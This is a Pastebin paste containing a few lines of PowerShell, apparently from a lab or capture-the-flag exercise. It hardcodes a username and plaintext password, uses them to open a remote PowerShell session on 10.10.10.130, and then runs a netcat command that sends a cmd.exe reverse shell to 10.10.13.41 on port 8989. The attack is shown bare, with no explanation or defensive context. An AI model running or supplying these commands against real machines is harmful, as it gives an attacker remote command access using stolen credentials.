Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $username = 'Batman'
- $password = 'Zx^#QZX+T!123'
- $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
- $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
- Enter-PSSession -ComputerName 10.10.10.130 -Credential $credential
- nc.exe 10.10.13.41 8989 -e cmd.exe
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement